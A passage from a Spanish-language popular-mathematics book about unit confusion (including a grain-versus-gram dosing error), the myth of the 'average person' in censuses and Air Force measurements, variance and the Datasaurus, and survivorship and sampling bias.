alguna	 justificación;	 simplemente	 se	 derrumba	 ante	 el	 último	obstáculo	 que
suponen	las	unidades.

Puede	 que	 esta	 sea	 la	 mayor	 fuente	 de	 errores	 matemáticos	 cotidianos.
Solemos	estar	 acostumbrados	 a	 realizar	un	 cálculo	 en	una	 situación	dada,	y
luego	utilizamos	 el	mismo	metido	 en	 otra	 situación,	 en	 la	 que	 no	 funciona.
Sospecho	 que	 las	 personas	 que	 pasaron	 este	 meme	 de	 manera	 sincera,	 lo
miraron	y	sus	cerebros	hicieron	algo	como	ver	millones	como	una	unidad	que
podían	excluir	de	su	cálculo	y	luego	recolocarlo	de	nuevo	una	vez	acabada	la
operación.

Afortunadamente,	 esto	 ocurrió	 en	 2015,	 y	 en	 los	 años	 que	 han	 pasado
desde	 entonces	 las	 personas	han	mejorado	 a	 la	 hora	de	detectar	 las	 noticias
falsas	que	aparecen	en	la	red.

A	contracorriente

Una	última	historia	en	la	que	interviene	la	libra,	aunque	en	este	caso	se	trata
de	una	fracción	más	pequeña	de	la	libra:	el	grano.	En	el	sistema	de	unidades
de	peso	de	los	boticarios,	una	libra	se	puede	dividir	en	12	onzas,	cada	una	de
las	cuales	equivale	a	8	dracmas.	Un	dracma	tiene	3	escrúpulos,	cada	uno	de
los	 cuales	 tiene	 20	 granos.	 Espero	 que	 eso	 tenga	 sentido.	Un	 grano	 es	 una
5.760ª	parte	de	una	 libra.	Pero	no	de	una	 libra	normal,	 sino	de	una	 libra	de
troy,	la	cual	es	diferente	de	la	libra	normal.	Y	la	gente	se	pregunta	por	qué	se
inventó	el	sistema	métrico…

Déjenme	intentarlo	de	nuevo.	Un	kilogramo	son	1.000	gramos,	los	cuales
se	 pueden	 dividir	 en	 1.000	 miligramos	 cada	 uno.	 Un	 grano	 es	 una	 unidad
arcaica	que	equivale	a	unos	64,8	miligramos.	¡Puf!	Así	ha	sido	más	fácil.
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El	 problema	 es	 que,	 en	 Estados	 Unidos,	 el	 sistema	 de	 unidades	 de	 los
boticarios	 todavía	 se	 utiliza	 como	 uno	 de	 los	 sistemas	 para	 pesar	 las
medicinas.	En	 la	 larga	 lista	 de	 lugares	 en	 los	 que	 no	 le	 gustaría	 estar	 en	 el
extremo	receptor	de	los	errores	producidos	por	tener	sistemas	de	unidades	que
entran	en	conflicto,	 la	medicina	ha	de	estar	en	los	primeros	 lugares.	Y,	para
colmo	de	males,	la	abreviatura	de	grano	es	«gr»,	que	puede	confundirse	muy
fácilmente	con	un	gramo.

Y,	 como	 era	 de	 esperar,	 así	 sucede.	 A	 un	 paciente	 que	 tomaba
Fenobarbital	(un	fármaco	antiepiléptico)	le	prescribieron	0,5	gr	por	día	(32,4
miligramos),	 y	 lo	 confundieron	 con	 0,5	 gramos	 por	 día	 (500	 miligramos).
Después	 de	 tres	 días	 tomando	 una	 dosis	 unas	 quince	 veces	 superior	 a	 la
normal,	 el	 paciente	 empezó	 a	 sufrir	 problemas	 respiratorios.	 Por	 suerte,
cuando	le	retiraron	la	dosis,	se	recuperó	completamente.	Este	fue	un	caso	en
el	que	se	puede	aplicar	el	dicho	de	«grano	a	grano	se	hace	la	mortaja».
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Once

ESTADÍSTICAS	COMO	A	MÍ	ME	GUSTAN
Aunque	 nací	 en	 Perth,	 Australia	 Occidental,	 he	 vivido	 en	 el	 Reino	 Unido
tanto	tiempo	que	mi	acento	es	ahora	de	un	60%	a	un	80%	británico.	A	pesar
de	que	me	gustan	los	deportes,	no	soy	un	gran	aficionado	a	ninguno	de	ellos,
y	ha	pasado	mucho	tiempo	desde	que	hice	mis	últimas	gambas	a	la	barbacoa.
No	soy	un	australiano	típico.	Pero,	claro,	nadie	lo	es.

Después	del	censo	de	2011,	 la	agencia	australiana	de	estadística	publicó
cómo	era	el	australiano	medio:	mujer	de	treinta	y	siete	años	que,	entre	otras
cosas,	«vive	con	su	marido	y	dos	hijos	 (un	niño	y	una	niña	de	nueve	y	seis
años	 respectivamente)	 en	una	 casa	 con	 tres	 dormitorios	y	dos	 coches	 en	un
barrio	periférico	de	una	de	 las	capitales	australianas».	Y	 luego	descubrieron
que	dicha	persona	no	existe.	Rastrearon	todos	los	registros	y	no	había	ni	una
sola	persona	que	cumpliera	con	 todos	 los	criterios	que	 la	definirían	como	la
auténtica	persona	australiana	media.	Y	señalaron,	con	acierto,	que:

Aunque	la	descripción	de	la	persona	australiana	media	puede	sonar	bastante	típica,	el	hecho	de
que	nadie	cumpla	con	todos	esos	criterios	demuestra	que	la	idea	de	«persona	media»	oculta	la
enorme	(y	creciente)	diversidad	de	Australia.

Agencia	australiana	de	estadística

Cuando	se	trata	de	medir	poblaciones,	un	censo	es,	en	cierto	sentido,	una
situación	 extrema.	 Cuando	 una	 organización	 desea	 saber	 algo	 sobre	 una
población,	 suele	 analizar	 una	 muestra	 pequeña	 y	 suponer	 que	 esta	 es
representativa	 de	 todos	 los	 demás.	 Pero	 un	 gobierno	 tiene	 la	 capacidad	 de
hacerlo	 a	 mayor	 escala	 y	 encuestar	 absolutamente	 a	 todo	 el	 mundo.	 Esto
acaba	 produciendo	 una	 apabullante	 cantidad	 de	 datos,	 los	 cuales,
irónicamente,	luego	se	ven	reducidos	a	estadísticas	representativas.

La	Constitución	de	Estados	Unidos	exige	que	se	haga	un	censo	nacional
cada	 diez	 años.	 Pero,	 en	 1880,	 debido	 al	 incremento	 de	 población	 y	 de	 la
cantidad	de	preguntas	que	se	hacían	en	el	censo,	fueron	necesarios	ocho	años
para	 procesar	 todos	 los	 datos.	 Para	 arreglar	 el	 problema	 se	 inventaron	 unas
máquinas	 tabuladoras	 electromecánicas	 que	 podían	 determinar	 la	 cantidad
total	 de	 datos	 que	 habían	 sido	 almacenados	 en	 tarjetas	 perforadas.	 Las
máquinas	tabuladoras	se	utilizaron	en	el	censo	de	1890	y	lograron	finalizar	el
análisis	de	los	datos	en	tan	solo	dos	años.
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No	 mucho	 más	 tarde,	 las	 máquinas	 tabuladoras	 ya	 estaban	 realizando
procesos	cada	vez	más	complicados	con	los	datos:	los	clasificaban	siguiendo
criterios	diferentes	e	incluso	realizaban	algunas	matemáticas	básicas	en	lugar
de	simplemente	hacer	recuentos.	Se	puede	decir	que	la	necesidad	de	analizar
los	datos	de	los	censos	propició	la	aparición	de	nuestra	industria	informática
moderna.	La	primera	máquina	 tabuladora	que	utilizaba	 tarjetas	perforadas	y
que	fue	diseñada	para	 los	censos	fue	 inventada	por	Herman	Hollerith,	quien
fundó	 la	Tabulating	Machine	Company,	 que	 finalmente	 se	 fusionó	 con	otra
empresa	que	se	dedicaba	a	lo	mismo	y	acabó	dando	lugar	a	IBM.	Puede	que
haya	una	línea	evolutiva	directa	entre	el	ordenador	que	usamos	hoy	en	día	en
el	trabajo	y	las	máquinas	que	clasificaban	tarjetas	perforadas	hace	más	de	un
siglo.

Esa	 es	 la	 razón	 por	 la	 que	 encontré	 especialmente	 gratificante	 el	 censo
realizado	en	Australia	en	2016.	Resulta	que	estaba	en	el	país	durante	el	que
iba	a	ser	el	primer	censo	australiano	que	se	realizaría	casi	completamente	en
línea	y	la	agencia	australiana	de	estadísticas	había	otorgado	el	contrato	para	la
elaboración	 del	 censo	 a	 la	 mismísima	 IBM.	 Resultó	 que	 IBM	 hizo	 una
chapuza	y	la	página	del	censo	estuvo	inoperativa	durante	cuarenta	horas,	pero,
si	 ignoramos	ese	dato,	 era	bonito	ver	 todavía	a	 IBM	en	 la	vanguardia	de	 la
tecnología	 relacionada	 con	 el	 negocio	 de	 los	 censos.	 Aunque,	 dado	 como
manejó	el	tráfico	su	página,	igual	deberían	haber	vuelto	a	utilizar	la	máquina
tabuladora	con	tarjetas	perforadas.

¿Esta	nueva	encuesta	produciría	un	australiano	o	australiana	medio	que	sí
existiera?	 Cuando,	 en	 2017,	 regresé	 a	 Australia	 y	 hojeé	 el	 periódico	West
Australian,	me	encontré	inesperadamente	un	artículo	sobre	los	resultados	del
censo	del	año	anterior.	El	periódico	resaltaba	que	el	«australiano	occidental»
medio	sería:	un	hombre	de	treinta	y	siete	años	con	dos	hijos,	habiendo	nacido
uno	de	sus	progenitores	en	el	extranjero,	etc.	Salté	parte	del	texto	buscando	la
parte	 en	 la	 que	 el	 periodista	 que	 escribía	 el	 artículo	 reconocería	 que	 fue
incapaz	de	encontrar	a	alguien	que	encajara	con	todos	esos	criterios.

Pero,	 en	 cambio,	 me	 encontré	 la	 cara	 de	 Tom	 Fisher	 sonriéndome
directamente.	El	mismísimo	señor	Medio.

Lo	 habían	 conseguido.	 Encontraron	 a	 alguien	 que	 encajaba,
supuestamente,	 con	 la	 mayoría	 de	 los	 criterios	 del	 ciudadano	 medio.	 El
mismo	Tom	no	parecía	muy	ilusionado	con	el	título	de	«australiano	Medio»,
señalando	 que	 trabaja	 como	músico	 (es	 una	 parte	 bastante	 importante	 de	 la
banda	de	Australia	Occidental	llamada	Tom	Fisher	and	The	Layabouts).	Pero,
según	el	periódico,	merecía	ese	título	porque	era:
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un	hombre	de	treinta	y	siete	años;
ha	 nacido	 en	 Australia	 y	 tiene	 al	 menos	 un	 progenitor	 nacido	 en	 el
extranjero;
habla	inglés	en	casa;
está	casado	y	tiene	dos	hijos;
realiza	 entre	 cinco	 y	 catorce	 horas	 de	 labores	 domésticas	 no
remuneradas	por	semana;
tiene	 una	 hipoteca	 sobre	 una	 casa	 con	 cuatro	 dormitorios	 y	 con	 dos
coches	en	el	garaje.

Esta	 es	 una	 lista	más	 corta	 que	 la	 del	 australiano	medio	 del	 censo	 anterior,
pero	era	 impresionante	que	hubieran	encontrado	a	alguien	que	encajaba	con
todos	 los	 criterios.	 Busqué	 a	 Tom	 y	 le	 escribí	 un	 correo	 electrónico	 para
preguntarle	sobre	su	«cualidad	de	medio».	Perth	no	es	tan	grande,	y	no	hizo
falta	mucha	búsqueda	por	internet	ni	preguntar	por	ahí	para	localizarle.	Parece
que	ha	asimilado	su	papel	de	australiano	Medio	y	me	ofreció	amablemente	su
«cualidad	 de	 medio»	 para	 ayudarme	 en	 lo	 que	 pudiera.	 Le	 expliqué	 lo
sorprendido	que	estaba	con	que	existiera	y	con	el	hecho	de	que	encajara	con
todos	los	criterios;

«Sí,	 tío,	 puedo	 confirmarte	 que	 cumplo	 con	 todos	 los	 criterios	 del
australiano	medio,	excepto	que	tanto	mi	padre	como	mi	madre	son	de	aquí.»

¡Lo	sabía!	El	periódico	fue	deliberadamente	impreciso,	y	Tom	no	cumplía
todos	los	criterios.	Y	me	cuesta	reconocerlo.	Pensaba	que	tal	vez	la	gente	se
quedaría	 más	 con	 la	 idea	 que	 él	 representaba	 que	 con	 el	 hecho	 de	 que	 no
cumplía	algún	criterio.	Pero,	en	resumen,	es	interesante	que,	incluso	con	muy
pocos	 criterios	 que	 cumplir,	 el	 periódico	West	 Australian	 no	 encontrara	 al
australiano	medio.

Habiendo	 desenmascarado	 al	 que	 habían	 presentado	 como	 australiano
medio,	 estaba	 preparado	 para	 arreglar	 las	 cosas	 y	 encontrar	 un	 sustituto.
Contacté	 con	 la	Agencia	Australiana	 de	Estadística	 (ABS	 por	 sus	 siglas	 en
inglés)	para	ver	si	era	posible	encontrar	a	alguien	que	cumpliera	con	los	pocos
criterios	que	utilizó	el	periódico,	en	lugar	de	usar	todo	el	rango	de	estadísticas
empleadas	 en	 el	 censo.	 Las	 personas	 de	 la	 ABS	 que	me	 atendieron	 fueron
muy	amables	conmigo	y	mi	petición	les	pareció	lo	bastante	interesante	como
para	bucear	entre	los	datos	por	mí.	Al	ampliar	la	población	a	tener	en	cuenta,
de	Australia	Occidental	a	 todo	el	país	cambiaban	ligeramente	 los	 individuos
medios;	 el	 australiano	 medio	 era	 ahora	 una	 mujer	 que	 cuenta	 con	 un
dormitorio	menos	en	su	hogar.	Calcularon	que,	para	la	definición	más	laxa	de
australiano	 medio	 (utilizando	 solo	 algunos	 criterios	 principales),	 deberían
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existir	«unas	cuatrocientas»	personas	de	una	población	total	de	la	Australia	de
esa	época	de	23.401.892	personas,	que	cumplieran	con	esos	criterios.

Así	 pues,	 tenemos	 que	 el	 99,9983%	 de	 la	 población	 australiana	 no	 se
puede	considerar	un	australiano	o	australiana	medio.	Después	de	 todo,	diría
que	estoy	en	muy	buena	compañía.

Si	los	datos	encajan

Durante	la	década	de	1950,	la	Fuerza	Aérea	de	Estados	Unidos	descubrió	de
la	 manera	 más	 dura	 que	 nadie	 es	 un	 ciudadano	 medio.	 Los	 pilotos	 que
participaron	en	la	segunda	guerra	mundial	llevaban	uniformes	bastante	anchos
y	las	cabinas	de	los	aviones	eran	lo	suficientemente	grandes	para	albergar	un
amplio	rango	de	tipos	corporales.	Pero	las	exigencias	de	la	nueva	generación
de	aviones	de	combate	eran	mayores,	tanto	por	sus	cabinas	compactas	como
por	 las	 indumentarias	más	 ajustadas	 (para	 que	 conste,	 esa	 es	 la	 descripción
que	 hace	 la	 Fuerza	 Aérea	 de	 Estados	 Unidos	 sobre	 la	 indumentaria	 de	 los
pilotos).	Necesitaban	saber	con	exactitud	el	 tamaño	de	su	personal	de	vuelo
para	 así	 fabricar	 aviones	 y	 uniformes	 en	 los	 que	 los	 pilotos	 encajaran	 a	 la
perfección.

Las	fuerzas	aéreas	enviaron	a	un	equipo	de	expertos	medidores	a	catorce
de	sus	bases	en	las	que	midieron	a	un	total	de	4.063	personas[23].	A	cada	una
se	 le	 tomaban	132	medidas	 diferentes,	 incluyendo	 algunas	 clásicas	 como	 la
altura	a	la	que	están	los	pezones,	la	longitud	de	la	nariz,	la	circunferencia	de
la	cabeza,	la	circunferencia	del	codo	(flexionado)	y	la	distancia	de	las	nalgas	a
la	rodilla.	El	equipo	de	medición	fue	capaz	de	hacer	todo	esto	en	tan	solo	dos
minutos	y	medio	por	persona,	midiendo	a	unas	170	personas	por	día.	Los	que
recibieron	los	datos	la	calificaron	como	la	«medición	más	rápida	y	completa
que	habían	recibido».

Para	cada	una	de	las	132	mediciones,	el	equipo	tenía	luego	que	hallar	 la
media,	 la	desviación	 estándar,	 la	 desviación	 estándar	 como	porcentaje	de	 la
media,	el	rango	y	los	valores	de	veinticinco	percentiles	diferentes.	Por	lo	que,
por	 supuesto,	 acudieron	 a	 los	 superordenadores	 de	 la	 época:	 las	 máquinas
tabuladoras	de	 IBM	con	 tarjetas	perforadas.	Los	datos	 se	 introducían	 en	 las
tarjetas	 perforadas	 que	 luego	 podían	 ser	 clasificadas	 y	 tabuladas	 por	 las
máquinas	electromecánicas.	Los	cálculos	estadísticos	se	llevaban	a	cabo	con
calculadores	mecánicas	de	sobremesa.	En	la	actualidad,	puede	parecernos	un
poco	 pesado,	 pero	 en	 esa	 época	 les	 debió	 parecer	 algo	mágico	 el	 hecho	 de
poder	disponer	de	datos	clasificados	por	una	enorme	y	ruidosa	máquina	y	que
la	aritmética	 la	realizara	una	simple	máquina	manual	que	podías	 tener	sobre
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tu	 escritorio.	Lo	mismo	ocurrirá	 dentro	 de	medio	 siglo,	 cuando	 la	 gente	 no
creerá	 que,	 durante	 los	 primeros	 años	 del	 siglo	XXI,	 teníamos	 que	 conducir
nuestros	propios	coches	o	teclear	físicamente	los	mensajes	de	texto	nosotros
mismos.

Dado	 que	 la	 tecnología	moderna	 estaba	 haciendo	 la	 clasificación	 de	 las
hojas	 grabadas,	 las	 utilizadas	 para	 registrar	 los	 datos	 de	 los	 uniformes	 no
necesitaban	 estar	 ordenadas	 para	 facilitar	 el	 posterior	 procesamiento	 de	 los
datos.	En	cambio,	sí	que	estaban	dispuestas	de	tal	forma	que	minimizaran	los
posibles	 errores	 humanos	 e	 incluso	 redujeran	 la	 frecuencia	 con	 la	 que	 las
personas	 tenían	 que	 soltar	 diferentes	 instrumentos	 y	 luego	 recogerlos.	 Las
medidas	 obtenidas	 mediante	 una	 cinta	 métrica	 aparecían	 todas	 en	 una
columna,	y	las	obtenidas	con	un	calibrador	en	otra.	Fue	uno	de	los	primeros
casos	 en	 los	 que	 se	 reducía	 el	 error	 mediante	 un	 diseño	 ajustado	 a	 la
experiencia	del	usuario.

Se	esforzaron	mucho	para	reducir	todas	las	fuentes	de	error	de	la	encuesta.
Se	eliminaron	los	valores	atípicos,	y	se	trataron	los	casos	límite	basándose	en
la	 regla	de	baloncesto	de	«sin	daño	no	hay	falta»:	si	no	estaba	claro	que	un
valor	 concreto	 fuera	 un	 error	 o	 solo	 un	 valor	 extremo,	 comprobaban	 si	 al
eliminarlo	 se	 producía	 alguna	 diferencia	 en	 las	 estadísticas	 generales.	 Si	 no
era	así,	¡problema	evitado!	Y	todos	los	cálculos	estadísticos	se	realizaban	dos
veces	 y	 de	 dos	 formas	 diferentes	 (si	 era	 posible).	 Algunas	 medidas
estadísticas	se	pueden	obtener	a	partir	de	más	de	una	fórmula,	por	lo	que	las
utilizaban	todas	para	asegurarse	de	que	obtenían	la	misma	respuesta	con	todas
ellas.

¿Cuán	cerca	está	usted	del	promedio?
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Antropometría	del	Personal	de	Vuelo	de	las	Fuerzas	Armadas	(1950).

¿Es	similar	 la	altura	de	sus	pezones	a	 la	de	este	 tipo	de	1950?	¿Está	usted	más	o
menos	ilusionado	que	él	porque	se	lo	hayan	medido?

Además	de	los	hallazgos	estadísticos,	se	realizó	un	informe	titulado	«¿El
«Hombre	 Medio»?»,	 en	 el	 que	 se	 cuestionaba	 la	 existencia	 misma	 de	 una
bestia	mítica	como	esa.	Se	utilizaron	las	tallas	de	los	uniformes	como	ejemplo
perfecto.	Los	sondeos	realizados	a	esas	personas	se	podían	utilizar	para	crear
un	nuevo	uniforme	estándar	que	encajara	con	 las	medidas	que	 se	desviaban
un	máximo	del	30%	del	promedio,	descritas	como	«promedio	aproximado».
Pero	¿cuántas	de	las	4.063	personas	que	participaron	en	el	sondeo	llevan	un
uniforme	que	encajara	en	ese	30%?	La	respuesta	es	cero.	Ningún	miembro	de
las	 4.063	 personas	 estudiadas	 estaba	 en	 el	 porcentaje	 promedio	 de	 las	 diez
medidas	relacionadas	con	el	uniforme.

La	 tendencia	 a	 pensar	 en	 términos	 de	 «hombre	 medio»	 es	 una	 trampa	 en	 la	 que	 muchas
personas	 caen	 cuando	 intentan	 aplicar	 los	 datos	 de	 los	 tamaños	 de	 cuerpos	 humanos	 a	 los
problemas	 relacionados	 con	 el	 diseño.	 En	 realidad,	 es	 virtualmente	 imposible	 encontrar	 un
«hombre	 medio»	 entre	 la	 población	 de	 las	 fuerzas	 aéreas.	 Y	 no	 es	 porque	 este	 grupo	 de
hombres	 posea	 rasgos	 únicos,	 sino	 que	 es	 debido	 a	 la	 gran	 variabilidad	 de	 las	 dimensiones
corporales	que	caracterizan	a	todos	los	hombres.

«¿El	«hombre	medio»?»,	Gilbert	S.	Daniels
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Gilbert	Daniels	formó	parte	del	equipo	que	dirigió	el	sondeo	realizado	al
personal	 de	 las	 fuerzas	 aéreas.	 Había	 estudiado	 antropología	 física	 y	 había
descubierto,	 durante	 sus	 estudios,	 que	 al	 medir	 las	 manos	 de	 la	 población
ciertamente	homogénea	de	estudiantes	varones	de	Harvard,	existía	una	amplia
variedad	de	mediciones	y	que	las	manos	de	ningún	estudiante	se	acercaban	a
lo	 que	 sería	 el	 promedio.	 No	 tengo	 ni	 idea	 sobre	 cómo	 obtuvo	 esas
mediciones.	Pero	me	encanta	imaginar	a	Daniels	yendo	de	un	lado	al	otro	del
campus	para	convencer	a	sus	compañeros	de	que	le	permitieran	acceder	a	sus
datos	privados,	como	una	especie	de	Zuckerberg	obsesionado	por	el	 tamaño
de	las	manos.

El	informe	de	Daniels	convenció	a	las	fuerzas	aéreas	de	que	no	intentaran
encontrar	a	una	persona	media,	sino	que	se	las	ingeniaran	para	dar	acomodo	a
la	 variación.	 Ahora	 es	 algo	 conocido	 y	 parece	 bastante	 obvio,	 pero	 cosas
como	los	asientos	ajustables	de	los	coches	y	las	correas	de	los	cascos	que	se
pueden	alargar	y	encoger	 empezaron	cuando	 las	 fuerzas	aéreas	aceptaron	 la
existencia	de	la	variedad	en	las	medidas.	El	sondeo	acabó	siendo	útil,	no	a	la
hora	de	demostrar	cómo	era	la	persona	media	de	las	fuerzas	aéreas,	sino	por
mostrar	cuánta	variedad	existía.

Algunos	promedios	son	más	homogéneos	que	otros
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En	 2011,	 la	 página	web	OKCupid	 tenía	 un	 problema	muy	 común	 entre	 las
páginas	 de	 citas:	 sus	 usuarios	 atractivos	 estaban	 siendo	 saturados	 con
mensajes,	y	esa	clase	de	relación	señal/ruido	podía	alejarlos	de	la	página	web.
Los	usuarios	podían	calificar	el	aspecto	de	los	demás	en	una	escala	del	1	al	5,
y	aquellos	cuya	puntuación	media	se	hallaba	en	la	parte	alta	del	espectro	de
belleza	 recibían	 veinticinco	 veces	más	mensajes	 que	 los	 situados	 en	 el	 otro
extremo.	Pero	resulta	que	los	tíos	que	fundaron	OKCupid	eran	matemáticos,	y
la	 página	 tiene	 tanto	 que	 ver	 con	 los	 datos	 como	 con	 las	 citas.	 Por	 lo	 que
analizaron	las	estadísticas	y,	mientras	lo	hacían,	encontraron	algo	interesante.

Las	 personas	 que	 se	 hallaban	 en	 la	 zona	 alta	 de	 la	 puntuación	 sobre	 su
atractivo,	 pero	no	 en	 el	 extremo,	 es	decir,	 con	puntuaciones	 cercanas	 a	3,5,
estaban	 recibiendo	 una	 cantidad	 variable	 de	 mensajes	 de	 un	 rango	 muy
amplio.	Un	usuario	con	una	puntuación	promedio	de	3,3	recibía	2,3	veces	la
cantidad	habitual	de	mensajes,	pero	alguien	con	un	nivel	de	3,4	en	esa	misma
escala	recibía	tan	solo	0,8	veces	la	cantidad	habitual	de	mensajes.	Había	algo
más	 aparte	 de	 su	 nota	 promedio	 de	 belleza	 que	 influía	 en	 la	 cantidad	 de
atención	que	recibía	de	los	demás	usuarios.

Si	 un	 usuario	 tenía	 una	 puntuación	 promedio	 de	 3,5,	 había	 múltiples
formas	por	 las	que	otros	usuarios	podían	haberlo	puntuado	entre	1	y	5	para
que	 el	 promedio	 fuera	 ese.	 Lo	 que	 el	 fundador	 de	 OKCupid,	 Christian
Rudder,	 descubrió	 es	 que	 las	 personas	 que	 obtenían	 una	 puntuación
aproximada	de	3,5	porque	un	montón	de	personas	les	puntuó	con	un	3	o	con
un	4	no	recibían,	ni	de	cerca,	tantos	mensajes	como	los	usuarios	que	lograban
ese	 3,5	 gracias	 a	 un	montón	 de	 puntuaciones	 de	 1	 y	 5.	 El	 indicador	 de	 la
cantidad	de	mensajes	no	era	 el	valor	promedio	de	 la	puntuación	de	belleza,
sino,	 más	 bien,	 cómo	 se	 distribuían	 las	 puntuaciones.	 La	 conclusión	 de
Rudder	fue	que	los	usuarios	 tenían	dudas	a	 la	hora	de	mandar	un	mensaje	a
alguien	que	pensaban	que	todos	los	demás	encontrarían	atractivo	y	centraban
su	atención	en	personas	que	ellos	encontraban	atractivas	pero	que	al	mismo
tiempo	pensaban	que	los	demás	no.

La	distribución	de	los	datos	se	puede	medir	con	la	desviación	estándar	(o
varianza,	 que	 es	 la	 desviación	 estándar	 al	 cuadrado).	 Los	 usuarios	 de
OKCupid	 con	 la	 misma	 puntuación	 promedio	 podían	 tener	 desviaciones
estándar	muy	diferentes	y	ese	dato	sería	un	indicador	mejor	de	la	cantidad	de
mensajes	que	recibirían.	Así	es	como	ocurrió	en	este	caso,	pero	es	posible	que
otros	conjuntos	de	datos	diferentes	no	solo	 tengan	el	mismo	promedio,	 sino
también	la	misma	desviación	estándar.
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Estos	dos	conjuntos	de	veinte	puntuaciones	dan	un	promedio	de	3,5,	pero	¿qué	gráfico	le	parece	más
atractivo?.

En	 2017,	 dos	 investigadores	 de	 Canadá	 crearon	 una	 imagen	 de	 un
dinosaurio	que	no	era	más	que	doce	conjuntos	de	datos,	todos	con	las	mismas
medias	 y	 desviaciones	 estándar.	 El	 «Datasaurio»	 era	 una	 colección	 de	 142
pares	 de	 coordenadas	 que,	 cuando	 se	 colocaban	 en	 un	 gráfico,	 parecían	 un
dinosaurio.	 Los	 «doce	 del	 Datasaurio»	 consistían	 en	 doce	 conjuntos
adicionales	 de	 142	 datos,	 los	 cuales,	 con	 dos	 cifras	 decimales,	 daban	 las
mismas	 medias	 tanto	 en	 dirección	 vertical	 como	 horizontal	 y	 las	 mismas
desviaciones	estándar	en	ambas	direcciones,	como	el	Datasaurio[24].	Si	no	se
creaban	 los	 gráficos,	 estos	 conjuntos	 de	 datos	 no	 eran	 más	 que	 números
escritos	 en	 un	 papel:	 es	 una	 lección	 valiosa	 sobre	 la	 importancia	 de	 la
visualización	 de	 los	 datos.	 Y	 para	 no	 confiar	 en	 las	 estadísticas	 de	 los
titulares.
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Para	todos	los	gráficos:	media	vertical	=	47,83;	desviación	estándar	vertical	=	26,93;	media
horizontal	=	54,26;	desviación	estándar	horizontal	=	16,79.	Algunos	de	los	Doce	del	Datasaurio.	Yo	le

habría	llamado	Triceraplots.

Esto	debería	sesgar	algún	tiempo
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Primero,	 obtienes	 las	 estadísticas;	 luego,	 las	 analizas.	El	modo	en	 el	 que	 se
recogen	los	datos	es	tan	importante	como	la	forma	en	la	que	se	analizan.	Hay
muchas	clases	de	 sesgos	que	 se	pueden	 introducir	durante	 la	 recolección	de
los	datos	y	que	pueden	influir	en	las	conclusiones	que	se	extraigan.	Cerca	de
donde	viví	en	el	Reino	Unido,	hay	un	puente	que	cruza	un	río	que	se	cree	que
fue	construido	por	unos	monjes	durante	el	siglo	XIII.	Dado	que	se	trata	de	un
puente	que	ha	sobrevivido	unos	ochocientos	años,	esos	monjes	debían	saber
muy	 bien	 lo	 que	 hacían.	 Hay	 una	 señal	 en	 el	 puente	 que	 indica	 que	 los
estribos	del	puente	tienen	una	forma	determinada	para	que	la	turbulencia	del
agua	 que	 pasa	 a	 su	 través	 disminuya,	 reduciendo	 así	 la	 erosión	 del	 puente.
Unos	monjes	muy	listos.

¿Lo	eran?	¿Cómo	podemos	saber	si	los	monjes	eran	malos	construyendo
puentes?	 Todos	 los	malos,	 o	 se	 habrán	 caído	 o	 habrán	 sido	 sustituidos	 por
otros	en	todo	el	tiempo	que	ha	pasado	desde	entonces.	En	el	siglo	XIII,	estarían
construyendo	puentes	todo	el	tiempo,	seguramente	con	toda	clase	de	estribos
de	 formas	 diferentes.	 Supongo	 que	 casi	 todos	 ellos	 han	 desaparecido.	 Solo
tenemos	constancia	de	este	porque	ha	sobrevivido.	Concluir	por	eso	que	 los
monjes	 son	 muy	 buenos	 construyendo	 puentes	 es	 un	 ejemplo	 del	 llamado
«sesgo	 de	 supervivencia».	 Es	 como	 un	 gerente	 que	 lanza	 las	 solicitudes	 de
empleo	 a	 la	 papelera	 al	 azar	 porque	 no	 quiere	 contratar	 a	 nadie	 que	 tenga
mala	suerte.	El	hecho	de	que	algo	sobreviva	no	significa	que	sea	significativo
o	importante.

Creo	que	una	buena	parte	de	la	nostalgia	que	despierta	el	hecho	de	pensar
que	 las	 cosas	 se	 fabricaban	 mejor	 en	 el	 pasado	 es	 debido	 al	 sesgo	 de
supervivencia.	 Veo	 cómo	 la	 gente	 comparte	 en	 internet	 fotografías	 de
utensilios	de	cocina	del	pasado	que	todavía	funcionan:	gofreras	de	la	década
de	1920,	batidoras	de	la	de	1940	y	cafeteras	de	la	de	1980.	Y	la	afirmación	de
que	 los	 aparatos	 antiguos	 duran	 más	 tiene	 algo	 de	 verdad.	 Hablé	 con	 un
ingeniero	de	procesos	de	fabricación	en	Estados	Unidos	que	me	dijo	que,	con
el	 software	 de	 diseño	 3D,	 actualmente	 se	 pueden	 diseñar	 piezas	 con
tolerancias	 mucho	 menores,	 mientras	 que	 las	 generaciones	 anteriores	 de
ingenieros	no	estaban	muy	seguras	sobre	dónde	se	hallaba	la	línea,	razón	por
la	 cual	 sobrediseñaban	 piezas	 para	 asegurarse	 de	 que	 funcionarían.	 Pero
también	está	el	 sesgo	de	 supervivencia,	 según	el	 cual	 todas	 las	batidoras	de
cocina	que	se	rompieron	durante	años	hace	tiempo	se	desecharon.
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Un	puente	sobre	aguas	turbulentas.

El	estudio	que	analizaba	cuántos	ataques	al	corazón	se	produjeron	después
del	cambio	al	horario	de	verano	también	tuvo	un	problema	con	una	clase	de
sesgo	de	supervivencia.	En	este	caso,	los	investigadores	únicamente	disponían
de	los	datos	de	personas	que	fueron	al	hospital	y	necesitaron	una	operación	de
apertura	aórtica,	por	lo	que	esto	limitaba	su	investigación	a	las	personas	que
sufrieron	un	ataque	serio	y	fueron	al	hospital.	Pudo	haber	gente	que	sufriera
un	ataque	al	corazón	provocado	por	el	cambio	de	horario	pero	que	falleciera
antes	de	llegar	al	hospital,	y	el	estudio	los	habría	ignorado	por	completo.

También	se	producen	sesgos	de	muestreo	relacionados	con	cómo	y	dónde
se	 recogen	 los	 datos.	 En	 2012,	 la	 ciudad	 de	 Boston	 sacó	 una	 aplicación
llamada	Street	Bump	que	parecía	ser	la	combinación	perfecta	de	recolección	y
análisis	de	smartdata.	Los	ayuntamientos	gastan	un	montón	de	dinero	en	 la
reparación	 de	 los	 baches	 de	 las	 calles	 y,	 cuanto	 más	 tiempo	 existen,	 más
pueden	 crecer	 y	 convertirse	 en	 peligrosos.	 La	 idea	 era	 que	 un	 conductor
pudiera	 cargar	 la	 aplicación	 Street	 Bump	 en	 su	 smartphone	 y,	 mientras
condujera,	 los	 acelerómetros	 de	 los	 teléfonos	 buscarían	 el	 bache	 delatador
cuando	el	coche	pasase	sobre	uno.	Esta	constante	actualización	del	mapa	de
baches	 permitiría	 a	 los	 consistorios	 arreglar	 los	 que	 acababan	 de	 aparecer
antes	de	que	crecieran	y	pudieran	zamparse	un	coche.

Y	 todavía	 se	 puso	 más	 de	 moda	 cuando,	 en	 parte,	 se	 financió
colectivamente.	La	primera	versión	de	la	aplicación	no	era	buena	detectando
